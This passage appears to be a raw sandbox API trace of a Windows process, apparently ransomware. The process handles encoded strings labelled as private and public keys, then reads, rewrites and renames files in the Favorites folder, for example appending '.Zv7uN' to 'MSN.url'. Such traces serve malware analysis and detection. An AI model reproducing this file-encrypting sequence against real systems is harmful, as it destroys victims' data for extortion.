pBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.127] GetCurrentThreadId () returned 0xa30 [0126.127] GetCurrentThreadId () returned 0xa30 [0126.127] GetCurrentThreadId () returned 0xa30 [0126.128] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.128] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.128] GetCurrentThreadId () returned 0xa30 [0126.128] GetCurrentThreadId () returned 0xa30 [0126.128] GetCurrentThreadId () returned 0xa30 [0126.129] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.129] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.129] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.129] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.129] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.129] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.136] CloseHandle (hObject=0x1e8) returned 1 [0126.136] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.138] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.141] CloseHandle (hObject=0x1e8) returned 1 [0126.141] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url.zv7un")) returned 1 [0126.142] GetCurrentThreadId () returned 0xa30 [0126.142] GetCurrentThreadId () returned 0xa30 [0126.142] GetCurrentThreadId () returned 0xa30 [0126.142] GetCurrentThreadId () returned 0xa30 [0126.142] GetCurrentThreadId () returned 0xa30 [0126.142] GetCurrentThreadId () returned 0xa30 [0126.142] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0126.142] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.142] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.142] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.143] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url")) returned 0x20 [0126.143] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url", dwFileAttributes=0x80) returned 1 [0126.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHC